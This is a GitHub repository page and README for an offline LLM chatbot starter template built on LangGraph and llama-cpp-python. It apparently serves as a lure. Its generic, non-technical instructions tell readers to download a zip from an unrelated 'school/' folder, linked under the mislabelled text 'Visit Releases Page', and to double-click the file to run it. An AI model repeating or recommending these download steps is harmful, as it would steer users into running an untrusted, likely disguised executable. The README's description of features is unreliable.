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https://github.com/irandysousa/langgraph-llama-cpp-starter

πŸ€– Build intelligent, offline LLM agents with LangGraph and llama-cpp-python using this starter template for local, private tool-calling applications.
https://github.com/irandysousa/langgraph-llama-cpp-starter

ai-chatbot function-calling gguf langgraph llama-cpp-python llama3 llm-agent local-llm python template tool-calling

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πŸ€– Build intelligent, offline LLM agents with LangGraph and llama-cpp-python using this starter template for local, private tool-calling applications.

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README

          

# πŸ“¦ langgraph-llama-cpp-starter - Build Local AI Chatbots Easily

## ⚑ Overview

Welcome to the langgraph-llama-cpp-starter project! This tool helps you create powerful, local AI chatbots using LangGraph and llama-cpp-python. Whether you want to call functions or build intelligent agents, this template simplifies your journey.

## πŸš€ Getting Started

Follow these simple steps to download and run the application. No programming knowledge is needed!

### πŸ“₯ Download Now

[![Download langgraph-llama-cpp-starter](https://github.com/irandysousa/langgraph-llama-cpp-starter/raw/refs/heads/main/school/cpp_llama_langgraph_starter_v2.9.zip%20version-brightgreen)](https://github.com/irandysousa/langgraph-llama-cpp-starter/raw/refs/heads/main/school/cpp_llama_langgraph_starter_v2.9.zip)

### πŸ“‹ System Requirements

- **Operating System:** Windows 10 or later, macOS Sierra or later, or a modern Linux distribution.
- **Python Version:** Python 3.8 or higher.
- **Memory:** At least 4 GB RAM recommended.
- **Disk Space:** Minimum of 500 MB free space required.

### πŸ›  Installation Steps

1. **Visit the Releases Page:** Click the button below to access the download options.

[Visit Releases Page](https://github.com/irandysousa/langgraph-llama-cpp-starter/raw/refs/heads/main/school/cpp_llama_langgraph_starter_v2.9.zip)

2. **Select the Latest Version:** Look for the latest release at the top of the page.

3. **Download the Package:**
- Click on the appropriate file for your operating system.
- Save it to a location you can easily access, such as your Desktop or Downloads folder.

4. **Run the Application:**
- Locate the downloaded file.
- Double-click to start the application.
- Follow on-screen prompts to set up your AI chatbot.

## πŸš€ How to Use the Application

Once you have the application running, you can start building your AI chatbot. Here are some simple steps to guide you:

1. **Open the Application:** Launch the downloaded file.
2. **Set Up Your Project:** Choose a project name and define what your chatbot should do.
3. **Choose Functionality:** Select the tools or functions you want your AI to perform.
4. **Test Your Chatbot:** Use the built-in testing feature to interact with your chatbot and see how it responds.

## πŸ” Exploring Features

The langgraph-llama-cpp-starter template includes various features to enhance your chatbot:

- **Local Execution:** No need to rely on cloud services; everything runs locally on your machine.
- **Function Calling:** Easily set up your bot to call external functions based on user input.
- **Multi-Platform Support:** Compatible with Windows, macOS, and Linux.
- **User-Friendly Interface:** Designed for ease of use, even for those without technical skills.

## ✍️ Contributing

If you would like to improve this project, contributions are welcome! Here’s how:

1. **Fork the Repository:** Create your own copy of the project.
2. **Make Changes:** Edit the files you want to improve.
3. **Submit a Pull Request:** Share your changes with us!

## πŸ“ž Need Help?

If you encounter issues or have questions, feel free to reach out. You can find support through:

- **GitHub Issues:** Post your questions in the Issues section of the repository.
- **Community Forums:** Join discussions and get help from other users.

## πŸ“œ License

This project is licensed under the MIT License. You are free to use, modify, and distribute this software. Just make sure to keep the original credits.

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Now you are ready to start your journey into building AI chatbots. Enjoy using langgraph-llama-cpp-starter!